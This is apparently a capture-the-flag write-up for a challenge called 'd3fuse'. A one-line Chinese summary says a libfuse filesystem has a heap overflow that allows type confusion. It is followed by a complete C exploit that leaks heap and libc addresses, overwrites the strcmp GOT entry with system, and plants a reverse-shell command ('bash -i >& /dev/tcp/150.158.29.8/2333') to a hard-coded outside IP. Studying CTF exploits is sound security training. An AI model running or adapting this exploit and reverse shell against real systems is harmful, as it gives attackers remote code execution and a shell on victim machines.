d3fuse
程序借助 libfuse 实现了一个文件系统,存在堆溢出的漏洞,修改 flags 字段来实现类型混淆,达到任意地址读写的效果。
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
char buffer[0x1000];
struct context{
char filename[0x20];
int isDirectories;
int size;
struct context *list;
}fake_context[4];
int main()
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
for (int i = 0; i < 0x50; i++)
{
sprintf(buffer, "echo 'wjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjha' > /mnt/chunk%d", i);
system(buffer);
}
system("touch /mnt/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbccccdddd\xE8\x50\x40");
system("mv /mnt/chunk48 /mnt/a");
system("mv /mnt/chunk49 /mnt/b");
system("mv /mnt/chunk50 /mnt/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb\xFF\x03");
system("mv /mnt/chunk51 /mnt/c");
system("mv /mnt/chunk52 /mnt/d");
int fd = open("/mnt/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb\xFF\x03", O_RDONLY);
if (fd < 0)
{
perror("open1");
return 0;
}
int size = read(fd, buffer, sizeof(buffer));
if (size < 0)
{
perror("read1");
return 0;
}
close(fd);
unsigned long long leak_heap_addr = *(unsigned long long *)&buffer[0];
printf("[+] leak_heap_addr: %p\n", (void *)leak_heap_addr);
unsigned long long free_got = 0x0000000000405018;
unsigned long long strcmp_got = 0x0000000000405050;
fake_context[0].size = 0x20;
sprintf(fake_context[0].filename, "exp0");
fake_context[0].isDirectories = 0;
fake_context[0].list = (struct context*)free_got;
fake_context[1].size = 0x20;
sprintf(fake_context[1].filename, "exp1");
fake_context[1].isDirectories = 0;
fake_context[1].list = (struct context*)strcmp_got;
fake_context[2].size = 0x20;
fake_context[2].isDirectories = 0;
fake_context[2].list = (struct context*)strcmp_got;
sprintf(fake_context[2].filename, "/bin/bash -c 'bash -i >& /dev/tcp/150.158.29.8/2333 0>&1'");
printf("[+] write fake context\n");
fd = open("/mnt/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb\xFF\x03", O_WRONLY);
if (fd < 0)
{
perror("open2");
return 0;
}
size = write(fd, &fake_context, sizeof(fake_context));
if (size < 0)
{
perror("write2");
return 0;
}
close(fd);
printf("[+] write global context\n");
unsigned long long write_addr = leak_heap_addr + 0x3a0;
fd = open("/mnt/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", O_WRONLY);
if (fd < 0)
{
perror("open3");
return 0;
}
size = write(fd, &write_addr, sizeof(write_addr));
if (size < 0)
{
perror("write3");
return 0;
}
close(fd);
printf("[+] leak got@free\n");
fd = open("/mnt/exp0", O_RDONLY);
if (fd < 0)
{
perror("open4");
return 0;
}
size = read(fd, buffer, 8);
if (size < 0)
{
perror("read4");
return 0;
}
close(fd);
unsigned long long libc_leak = *(unsigned long long *)buffer;
printf("[+] got@free leak: %p\n", (void *)libc_leak);
unsigned long long libc_base = libc_leak - 0x9a700; //0x9d850
printf("[+] libc_base: %p\n", (void *)libc_base);
unsigned long long system = libc_base + 0x522c0; //0x55410;
printf("[+] system: %p\n", (void *)system);
printf("[+] write got@strcmp\n");
fd = open("/mnt/exp1", O_WRONLY);
if (fd < 0)
{
perror("open5");
return 0;
}
size = write(fd, &system, 8);
if (size < 0)
{
perror("write5");
return 0;
}
printf("[+] RCE\n");
open("/mnt/rce", O_WRONLY);
}